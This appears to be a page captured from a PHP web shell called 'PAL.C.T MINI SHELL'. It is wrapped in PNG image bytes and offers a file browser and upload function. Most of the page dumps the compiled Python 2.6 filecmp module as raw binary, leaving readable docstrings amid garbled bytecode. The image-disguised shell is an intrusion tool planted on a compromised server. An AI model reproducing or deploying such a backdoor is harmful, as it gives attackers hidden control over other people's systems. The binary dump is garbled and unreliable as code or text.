php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/
upload
files >> //usr/lib/python2.6/filecmp.pyc

Lc@sdZddkZddkZddklZlZlZlZdddgZhZ	dZ
d	d
ZdZdZ
ddd
YZd	dZeedZdZdZedjoendS(sUtilities for comparing files and directories.

Classes:
    dircmp

Functions:
    cmp(f1, f2, shallow=1) -> int
    cmpfiles(a, b, common) -> ([], [], [])

iN(tifiltertifilterfalsetimaptiziptcmptdircmptcmpfilesiiicCstti|}tti|}|dtijp|dtijotS|o||jotS|d|djotSti||f}|o ||f|d jo	|dSt||}|||ft||f<|S(sCompare two files.

    Arguments:

    f1 -- First file name

    f2 -- Second file name

    shallow -- Just check stat signature (do not read the files).
               defaults to 1.

    Return value:

    True if the files are the same, False otherwise.

    This function uses a cache for past comparisons and the results,
    with a cache invalidation mechanism relying on stale signatures.

    iii(	t_sigtoststattS_IFREGtFalsetTruet_cachetgett_do_cmp(tf1tf2tshallowts1ts2tresulttoutcome((s/usr/lib/python2.6/filecmp.pyRs(	cCsti|i|i|ifS(N(R	tS_IFMTtst_modetst_sizetst_mtime(tst((s/usr/lib/python2.6/filecmp.pyR:scCsst}t|d}t|d}xHto@|i|}|i|}||jotS|ptSq'WdS(Ntrb(tBUFSIZEtopenRtreadR(RRtbufsizetfp1tfp2tb1tb2((s/usr/lib/python2.6/filecmp.pyR?s
cBseZdZdddZdZdZdZdZdZ	dZ
dZd	Zd
Z
ede	ded
edededededededededeZdZRS(sQA class that manages the comparison of 2 directories.

    dircmp(a,b,ignore=None,hide=None)
      A and B are directories.
      IGNORE is a list of names to ignore,
        defaults to ['RCS', 'CVS', 'tags'].
      HIDE is a list of names to hide,
        defaults to [os.curdir, os.pardir].

    High level usage:
      x = dircmp(dir1, dir2)
      x.report() -> prints a report on the differences between dir1 and dir2
       or
      x.report_partial_closure() -> prints report on differences between dir1
            and dir2, and reports on common immediate subdirectories.
      x.report_full_closure() -> like report_partial_closure,
            but fully recursive.

    Attributes:
     left_list, right_list: The files in dir1 and dir2,
        filtered by hide and ignore.
     common: a list of names in both dir1 and dir2.
     left_only, right_only: names only in dir1, dir2.
     common_dirs: subdirectories in both dir1 and dir2.
     common_files: files in both dir1 and dir2.
     common_funny: names in both dir1 and dir2 where the type differs between
        dir1 and dir2, or the name is not stat-able.
     same_files: list of identical files.
     diff_files: list of filenames which differ.
     funny_files: list of files which could not be compared.
     subdirs: a dictionary of dircmp objects, keyed by names in common_dirs.
     cCsq||_||_|djotitig|_n
||_|djodddg|_n
||_dS(NtRCStCVSttags(tlefttrighttNoneRtcurdirtpardirthidetignore(tselftatbR.R-((s/usr/lib/python2.6/filecmp.pyt__init__os		
	
cCsntti|i|i|i|_tti|i|i|i|_|ii	|ii	dS(N(
t_filterRtlistdirR(R-R.t	left_listR)t
right_listtsort(R/((s/usr/lib/python2.6/filecmp.pytphase0{s
cCsttttii|i|i}ttttii|i|i}t|i	t
|i||_t|i	t
|i||_t|i	t
|i||_dS(N(tdictRRRtpathtnormcaseR5R6tmapt__getitem__Rt__contains__tcommonRt	left_onlyt
right_only(R/R0R1((s/usr/lib/python2.6/filecmp.pytphase1s
**!!c
	Csg|_g|_g|_xg|iD]\}tii|i|}tii|i|}d}yti	|}Wnti
j
o}d}nXyti	|}Wnti
j
o}d}nX|ot	i|i}t	i|i}	||	jo|ii
|qt	i|o|ii
|qt	i|o|ii
|q|ii
|q%|ii
|q%WdS(Nii(tcommon_dirstcommon_filestcommon_funnyR?RR:tjoinR(R)R	terrorRRtappendtS_ISDIRtS_ISREG(
R/txta_pathtb_pathtokta_stattwhytb_statta_typetb_type((s/usr/lib/python2.6/filecmp.pytphase2s6			

cCs7t|i|i|i}|\|_|_|_dS(N(RR(R)RDt
same_filest
diff_filestfunny_files(R/txx((s/usr/lib/python2.6/filecmp.pytphase3scCssh|_xc|iD]X}tii|i|}tii|i|}t|||i|i	|i|<qWdS(N(
tsubdirsRCRR:RFR(R)RR.R-(R/RKta_xtb_x((s/usr/lib/python2.6/filecmp.pytphase4s	
cCs2|ix!|iiD]}|iqWdS(N(R]RZt
itervaluestphase4_closure(R/tsd((s/usr/lib/python2.6/filecmp.pyR_s
cCs>dG|iG|iGH|io(|iidG|iGdG|iGHn|io(|iidG|iGdG|iGHn|io|iidG|iGHn|io|iidG|iGHn|io|iidG|iGHn|io|iidG|iGHn|i	o|i	idG|i	GHndS(	NtdiffsOnly int:sIdentical files :sDiffering files :sTrouble with common files :sCommon subdirectories :sCommon funny cases :(
R(R)R@R7RARURVRWRCRE(R/((s/usr/lib/python2.6/filecmp.pytreports,













cCs3|ix"|iiD]}H|iqWdS(N(RcRZR^(R/R`((s/usr/lib/python2.6/filecmp.pytreport_partial_closures

cCs3|ix"|iiD]}H|iqWdS(N(RcRZR^treport_full_closure(R/R`((s/usr/lib/python2.6/filecmp.pyRes

RZRURVRWRCRDRER?R@RAR5R6cCs;||ijo
t|n|i||t||S(N(t	methodmaptAttributeErrortgetattr(R/tattr((s/usr/lib/python2.6/filecmp.pyt__getattr__s
N(t__name__t
__module__t__doc__R*R2R8RBRTRYR]R_RcRdReR9RfRj(((s/usr/lib/python2.6/filecmp.pyRMs" 			#		
				cCskgggf}xU|D]M}tii||}tii||}|t|||i|qW|S(s]Compare common files in two directories.

    a, b -- directory names
    common -- list of file names found in both directories
    shallow -- if true, do comparison based solely on stat() information

    Returns a tuple of three lists:
      files that compare equal
      files that are different
      filenames that aren't regular files.

    (RR:RFt_cmpRH(R0R1R?RtresRKtaxtbx((s/usr/lib/python2.6/filecmp.pyRs
!cCs9y|||||SWntij
odSXdS(Ni(RRG(R0R1tshtabsR((s/usr/lib/python2.6/filecmp.pyRnscCstt|i|S(N(tlistRR>(tflisttskip((s/usr/lib/python2.6/filecmp.pyR3scCsddk}ddk}|i|idd\}}t|djo|iddnt|d|d}d	|jo|in|idS(
Niitrisneed exactly two argsis-rt(s-rRx(	tsystgetopttargvtlentGetoptErrorR*RReRc(RyRztoptionstargstdd((s/usr/lib/python2.6/filecmp.pytdemos
t__main__i ((RmRR	t	itertoolsRRRRt__all__R
RRRRRRRsRnR3RRk(((s/usr/lib/python2.6/filecmp.pyt<module>
s "%					

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`